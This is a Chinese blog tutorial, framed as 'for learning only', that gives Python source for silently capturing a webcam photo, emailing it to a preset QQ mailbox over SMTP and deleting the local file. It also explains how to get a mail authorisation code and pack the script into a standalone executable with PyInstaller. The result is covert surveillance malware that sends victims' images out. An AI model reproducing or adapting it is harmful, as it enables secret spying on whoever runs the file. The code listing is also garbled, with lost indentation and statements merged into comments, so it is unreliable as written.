仅用来学习,希望给你们有提供到学习上的作用。

1.安装库

需要安装python3.5以上版本,在官网下载即可。然后安装库opencv-python,安装方式为打开终端输入命令行。

2.更改收件人和发件人为自己邮箱,更改授权码

获取授权码的方法:

  1. 点击设置
  2. 点击账户
  3. 开启pop3/smtp服务
  4. 验证密保
  5. 获取到16位授权码

第一步:



第二步:



第三步:



第四、五步:

3.编译成可执行文件

打包方法:

  1. 先安装pyinstaller,在终端中输入pip install pyinstaller
  2. 找路径,用cd法找路径比较麻烦,可以直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。

打包,输入命令行

pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件

dist文件夹里面即可找到可执行文件。

4.源码与注释

import os                    # 删除图片文件
import cv2 # 调用摄像头拍摄照片
from smtplib import SMTP_SSL # SSL加密的 传输协议
from email.mime.text import MIMEText # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header # 发送内容 # 调用摄像头拍摄照片
def get_photo():
cap = cv2.VideoCapture(0) # 开启摄像头
f, frame = cap.read() # 将摄像头中的一帧图片数据保存
cv2.imwrite('image.jpg', frame) # 将图片保存为本地文件
cap.release() # 关闭摄像头 # 把图片文件发送到我的邮箱
def send_message():
# 选择QQ邮箱发送照片
host_server = 'smtp.qq.com' # QQ邮箱smtp服务器
pwd = '****************' # 授权码
from_qq_mail = 'QQ@qq.com' # 发件人
to_qq_mail = 'QQ@qq.com' # 收件人
msg = MIMEMultipart() # 创建一封带附件的邮件 msg['Subject'] = Header('摄像头照片', 'UTF-8') # 消息主题
msg['From'] = from_qq_mail # 发件人
msg['To'] = Header("YH", 'UTF-8') # 收件人
msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加邮件文本信息 # 加载附件到邮箱中 SSL 方式 加密
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg' # 附件格式为图片的加密数据
msg.attach(image) # 附件添加 # 开始发送邮件
smtp = SMTP_SSL(host_server) # 链接服务器
smtp .login(from_qq_mail, pwd) # 登录邮箱
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱
smtp.quit() # 退出 if __name__ == '__main__':
get_photo() # 开启摄像头获取照片
send_message() # 发送照片
os.remove('image.jpg') # 删除本地照片

5.效果如下

最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。



感谢看到这里的你,分享到这里结束了,更多Python精彩内容可以关注我看我主页,三连~

最新文章

  1. 利用pip安装模块(以安装pyperclip为例)
  2. Memcached【Magent+Memcached】集群
  3. winPcap_4_获取已安装设备的高级信息
  4. Fragment与FragmentActivity通信封装
  5. C++inserter
  6. [译] 反思 1 号进程 / Rethinking PID 1
  7. Unity3D中通过Animator动画状态机获取任意animation clip的准确播放持续时长
  8. Android 获取View的高度或TextView的行数, 实现自适应的textview
  9. CF1157B-Long Number题解
  10. springdata 使用plql更新时候注意点 ?2 表示从方法中获取第二个形参的值 ?1表示从方法中获取第一个值
  11. 给HTML页面指定元素添加属性,添加父元素
  12. 【XSY2528】道路建设 LCT 可持久化线段树
  13. 【Ueditor】富文本编辑使用
  14. 给力开源,.Net开源地址大收集
  15. linux命令学习:PATH and LDFLAGS and CFLAGS
  16. 堆&栈
  17. 【GDOI2018】所有题目和解题报告
  18. LeetCode(15): 每k个一组翻转链表
  19. python面试(十四)
  20. 【OCP 12c】最新CUUG OCP-071考试题库(64题)

热门文章

  1. Python实现AI图像识别-身份证识别
  2. 《微服务架构设计模式》读书笔记 | 第4章 使用Saga管理事务
  3. rabbitMQ批量删除指定的队列
  4. 问题求解与程序设计(C重新回顾:个人版)一
  5. Linux 并发服务器编程(多进程)
  6. 软件开发目录规范 ATM框架构建
  7. 【现学现卖】python小爬虫
  8. docker安装sonarqube
  9. RabbitMQ 安装与配置管理
  10. c# – RichTextBox用表情符号/图像替换字符串